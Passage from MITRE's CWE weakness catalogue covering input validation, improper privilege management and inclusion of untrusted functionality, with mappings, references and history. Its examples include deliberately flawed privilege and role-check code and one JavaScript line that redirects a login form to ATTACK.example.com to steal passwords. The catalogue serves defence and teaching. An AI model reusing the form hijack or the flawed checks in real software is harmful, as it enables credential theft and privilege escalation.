The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.

Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it." CWE uses this more narrow interpretation.

Maintenance

As of 2020, this entry is used more often than preferred, and it is a source of frequent confusion. It is being actively modified for CWE 4.1 and subsequent versions.

Maintenance

Concepts such as validation, data transformation, and neutralization are being refined, so relationships between CWE-20 and other entries such as CWE-707 may change in future versions, along with an update to the Vulnerability Theory document.

Maintenance

Input validation - whether missing or incorrect - is such an essential and widespread part of secure development that it is implicit in many different weaknesses. Traditionally, problems such as buffer overflows and XSS have been classified as input validation problems by many security professionals. However, input validation is not necessarily the only protection mechanism available for avoiding such problems, and in some cases it is not even sufficient. The CWE team has begun capturing these subtleties in chains within the Research Concepts view (CWE-1000), but more work is needed.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Input validation and representation
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
CERT C Secure Coding	ERR07-C		Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	FIO30-C	CWE More Abstract	Exclude user input from format strings
CERT C Secure Coding	MEM10-C		Define and use a pointer validation function
WASC	20		Improper Input Handling
Software Fault Patterns	SFP25		Tainted input to variable

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-10	Buffer Overflow via Environment Variables
CAPEC-101	Server Side Include (SSI) Injection
CAPEC-104	Cross Zone Scripting
CAPEC-108	Command Line Execution through SQL Injection
CAPEC-109	Object Relational Mapping Injection
CAPEC-110	SQL Injection through SOAP Parameter Tampering
CAPEC-120	Double Encoding
CAPEC-13	Subverting Environment Variable Values
CAPEC-135	Format String Injection
CAPEC-136	LDAP Injection
CAPEC-14	Client-side Injection-induced Buffer Overflow
CAPEC-153	Input Data Manipulation
CAPEC-182	Flash Injection
CAPEC-209	XSS Using MIME Type Mismatch
CAPEC-22	Exploiting Trust in Client
CAPEC-23	File Content Injection
CAPEC-230	Serialized Data with Nested Payloads
CAPEC-231	Oversized Serialized Data Payloads
CAPEC-24	Filter Failure through Buffer Overflow
CAPEC-250	XML Injection
CAPEC-261	Fuzzing for garnering other adjacent user/sensitive data
CAPEC-267	Leverage Alternate Encoding
CAPEC-28	Fuzzing
CAPEC-3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
CAPEC-31	Accessing/Intercepting/Modifying HTTP Cookies
CAPEC-42	MIME Conversion
CAPEC-43	Exploiting Multiple Input Interpretation Layers
CAPEC-45	Buffer Overflow via Symbolic Links
CAPEC-46	Overflow Variables and Tags
CAPEC-47	Buffer Overflow via Parameter Expansion
CAPEC-473	Signature Spoof
CAPEC-52	Embedding NULL Bytes
CAPEC-53	Postfix, Null Terminate, and Backslash
CAPEC-588	DOM-Based XSS
CAPEC-63	Cross-Site Scripting (XSS)
CAPEC-64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
CAPEC-664	Server Side Request Forgery
CAPEC-67	String Format Overflow in syslog()
CAPEC-7	Blind SQL Injection
CAPEC-71	Using Unicode Encoding to Bypass Validation Logic
CAPEC-72	URL Encoding
CAPEC-73	User-Controlled Filename
CAPEC-78	Using Escaped Slashes in Alternate Encoding
CAPEC-79	Using Slashes in Alternate Encoding
CAPEC-8	Buffer Overflow in an API Call
CAPEC-80	Using UTF-8 Encoding to Bypass Validation Logic
CAPEC-81	Web Server Logs Tampering
CAPEC-83	XPath Injection
CAPEC-85	AJAX Footprinting
CAPEC-88	OS Command Injection
CAPEC-9	Buffer Overflow in Local Command-Line Utilities

References

[REF-166] Jim Manico. "Input Validation with ESAPI - Very Important". 2008-08-15. <https://manicode.blogspot.com/2008/08/input-validation-with-esapi.html>. URL validated: 2023-04-07.

[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.

[REF-168] Joel Scambray, Mike Shema and Caleb Sima. "Hacking Exposed Web Applications, Second Edition". Input Validation Attacks. McGraw-Hill. 2006-06-05.

[REF-48] Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. <https://blog.jeremiahgrossman.com/2007/01/input-validation-or-output-filtering.html>. URL validated: 2023-04-07.

[REF-170] Kevin Beaver. "The importance of input validation". 2006-09-06. <http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1214373,00.html>.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 10, "All Input Is Evil!" Page 341. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-1109] "LANGSEC: Language-theoretic Security". <http://langsec.org/>.

[REF-1110] "LangSec: Recognition, Validation, and Compositional Correctness for Real World Security". <http://langsec.org/bof-handout.pdf>.

[REF-1111] Sergey Bratus, Lars Hermerschmidt, Sven M. Hallberg, Michael E. Locasto, Falcon D. Momot, Meredith L. Patterson and Anna Shubina. "Curing the Vulnerable Parser: Design Patterns for Secure Input Handling". USENIX ;login:. 2017. <https://www.usenix.org/system/files/login/articles/login_spring17_08_bratus.pdf>.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	7 Pernicious Kingdoms
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Potential_Mitigations, Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Relationships, Other_Notes, Taxonomy_Mappings
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Description, Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Related_Attack_Patterns
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Relationships
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Common_Consequences, Demonstrative_Examples, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Relationships, Research_Gaps, Terminology_Notes
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Detection_Factors, Potential_Mitigations, References, Taxonomy_Mappings
2010-04-05	CWE Content Team	MITRE
2010-04-05	updated Related_Attack_Patterns
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Potential_Mitigations, Research_Gaps, Terminology_Notes
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations, Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Demonstrative_Examples, Description
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Observed_Examples
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Applicable_Platforms, Common_Consequences, Relationship_Notes
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Relationships
2013-07-17	CWE Content Team	MITRE
2013-07-17	updated Relationships
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Demonstrative_Examples, Related_Attack_Patterns
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Related_Attack_Patterns, Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Related_Attack_Patterns, Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Related_Attack_Patterns, Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, References, Related_Attack_Patterns, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Applicable_Platforms, Demonstrative_Examples, Description, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationship_Notes, Relationships, Research_Gaps, Terminology_Notes
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Potential_Mitigations, Related_Attack_Patterns, Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Description, Potential_Mitigations
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Related_Attack_Patterns, Relationships
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References, Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples
2024-07-16 (CWE 4.15, 2024-07-16)	CWE Content Team	MITRE
2024-07-16 (CWE 4.15, 2024-07-16)	updated Observed_Examples
2024-11-19 (CWE 4.16, 2024-11-19)	CWE Content Team	MITRE
2024-11-19 (CWE 4.16, 2024-11-19)	updated Relationships
Previous Entry Names
Change Date	Previous Entry Name
2009-01-12	Insufficient Input Validation

Weakness ID: 269

View customized information:

Description

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

Common Consequences

Scope	Impact	Likelihood
Access Control	Technical Impact: Gain Privileges or Assume Identity

Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Phase: Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.	284	Improper Access Control
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	250	Execution with Unnecessary Privileges
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	266	Incorrect Privilege Assignment
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	267	Privilege Defined With Unsafe Actions
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	268	Privilege Chaining
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	270	Privilege Context Switching Error
ParentOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	271	Privilege Dropping / Lowering Errors
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	274	Improper Handling of Insufficient Privileges
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	648	Incorrect Use of Privileged APIs

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1011	Authorize Actors

Modes Of Introduction

Phase	Note
Architecture and Design
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation

Applicable Platforms

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

This code temporarily raises the program's privileges to allow creation of a new user folder.

(bad code)

Example Language: Python

def makeNewUserDir(username):

if invalidUsername(username):

#avoid CWE-22 and CWE-78
print('Usernames cannot contain invalid characters')
return False

try:

raisePrivileges()
os.mkdir('/home/' + username)
lowerPrivileges()

except OSError:

print('Unable to create new user directory for user:' + username)
return False

return True

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2

The following example demonstrates the weakness.

(bad code)

Example Language: C

seteuid(0);
/* do some stuff */

seteuid(getuid());

Example 3

The following example demonstrates the weakness.

(bad code)

Example Language: Java

AccessController.doPrivileged(new PrivilegedAction() {

public Object run() {

// privileged code goes here, for example:
System.loadLibrary("awt");
return null;
// nothing to return

}

Example 4

This code intends to allow only Administrators to print debug information about a system.

(bad code)

Example Language: Java

public enum Roles {

ADMIN,USER,GUEST

}

public void printDebugInfo(User requestingUser){

if(isAuthenticated(requestingUser)){

switch(requestingUser.role){

case GUEST:

System.out.println("You are not authorized to perform this command");
break;

default:

System.out.println(currentDebugState());
break;

}

}
else{

System.out.println("You must be logged in to perform this command");

}

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

Example 5

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

(bad code)

Example Language: Java

public enum Roles {

ADMIN,OPERATOR,USER,GUEST

}

public void resetPassword(User requestingUser, User user, String password ){

if(isAuthenticated(requestingUser)){

switch(requestingUser.role){

case GUEST:

System.out.println("You are not authorized to perform this command");
break;

case USER:

System.out.println("You are not authorized to perform this command");
break;

default:

setPassword(user,password);
break;

}

else{

System.out.println("You must be logged in to perform this command");

}

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

Observed Examples

Reference	Description
CVE-2001-1555	Terminal privileges are not reset when a user logs out.
CVE-2001-1514	Does not properly pass security context to child processes in certain cases, allows privilege escalation.
CVE-2001-0128	Does not properly compute roles.
CVE-1999-1193	untrusted user placed in unix "wheel" group
CVE-2005-2741	Product allows users to grant themselves certain rights that can be used to escalate privileges.
CVE-2005-2496	Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.
CVE-2004-0274	Product mistakenly assigns a particular status to an entity, leading to increased privileges.
CVE-2007-4217	FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.
CVE-2007-5159	OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.
CVE-2008-4638	Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).
CVE-2007-3931	Installation script installs some programs as setuid when they shouldn't be.
CVE-2002-1981	Roles have access to dangerous procedures (Accessible entities).
CVE-2002-1671	Untrusted object/method gets access to clipboard (Accessible entities).
CVE-2000-0315	Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).
CVE-2000-0506	User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).

Weakness Ordinalities

Ordinality	Description
Primary	(where the weakness exists independent of other weaknesses)

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	901	SFP Primary Cluster: Privilege
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1364	ICS Communications: Zone Boundary Failures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1365	ICS Communications: Unreliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1373	ICS Engineering (Construction/Deployment): Trust Model Problems
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1430	Weaknesses in the 2024 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-269 is commonly misused. It can be conflated with "privilege escalation," which is a technical impact that is listed in many low-information vulnerability reports [REF-1287]. It is not useful for trend analysis.

Comments:

If an error or mistake allows privilege escalation, then use the CWE ID for that mistake. Avoid using CWE-269 when only phrases such as "privilege escalation" or "gain privileges" are available, as these indicate technical impact of the vulnerability - not the root cause weakness. If the root cause seems to be directly related to privileges, then examine the children of CWE-269 for additional hints, such as Execution with Unnecessary Privileges (CWE-250) or Incorrect Privilege Assignment (CWE-266).

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Privilege Management Error
ISA/IEC 62443	Part 2-4	Req SP.03.08 BR
ISA/IEC 62443	Part 3-2	Req CR 3.1
ISA/IEC 62443	Part 3-3	Req SR 1.2
ISA/IEC 62443	Part 3-3	Req SR 2.1
ISA/IEC 62443	Part 4-1	Req SD-3
ISA/IEC 62443	Part 4-1	Req SD-4
ISA/IEC 62443	Part 4-1	Req SI-1
ISA/IEC 62443	Part 4-2	Req CR 1.1
ISA/IEC 62443	Part 4-2	Req CR 2.1

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-122	Privilege Abuse
CAPEC-233	Privilege Escalation
CAPEC-58	Restful Privilege Elevation

References

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Dropping Privileges Permanently", Page 479. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Contributions
Contribution Date	Contributor	Organization
2023-06-29 (CWE 4.12, 2023-06-29)	"Mapping CWE to 62443" Sub-Working Group	CWE-CAPEC ICS/OT SIG
2023-06-29 (CWE 4.12, 2023-06-29)	Suggested mappings to ISA/IEC 62443.
2024-02-29 (CWE 4.15, 2024-07-16)	Abhi Balakrishnan
2024-02-29 (CWE 4.15, 2024-07-16)	Provided diagram to improve CWE usability
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08		CWE Team
2008-09-08	Moved this entry higher up in the Research view.
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Description, Maintenance_Notes, Name, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Name
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Potential_Mitigations
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Potential_Mitigations
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Description, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Potential_Mitigations
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, Relationships, Type
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Observed_Examples, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2021-10-28	CWE Content Team	MITRE
2021-10-28	updated Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated References
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships, Taxonomy_Mappings
2024-07-16 (CWE 4.15, 2024-07-16)	CWE Content Team	MITRE
2024-07-16 (CWE 4.15, 2024-07-16)	updated Diagram
2024-11-19 (CWE 4.16, 2024-11-19)	CWE Content Team	MITRE
2024-11-19 (CWE 4.16, 2024-11-19)	updated Relationships
Previous Entry Names
Change Date	Previous Entry Name
2008-09-09	Privilege Management Error
2009-05-27	Insecure Privilege Management

Weakness ID: 829

View customized information:

Description

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

Extended Description

When including third-party functionality, such as a web widget, library, or other source of functionality, the product must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Technical Impact: Execute Unauthorized Code or Commands An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.

Potential Mitigations

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Phase: Implementation

Strategy: Input Validation

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phases: Architecture and Design; Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phases: Architecture and Design; Implementation

Strategy: Attack Surface Reduction

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	669	Incorrect Resource Transfer Between Spheres
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	827	Improper Control of Document Type Definition
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	830	Inclusion of Web Functionality from an Untrusted Source

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1214	Data Integrity Issues

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	669	Incorrect Resource Transfer Between Spheres

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1016	Limit Exposure

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Demonstrative Examples

Example 1

This login webpage includes a weather widget from an external website:

(bad code)

Example Language: HTML

<div class="header"> Welcome!

<div id="loginBox">Please Login:

<form id ="loginForm" name="loginForm" action="login.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>

</div>
<div id="WeatherWidget">

</div>

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

(attack code)

Example Language: JavaScript

...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

Observed Examples

Reference	Description
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.
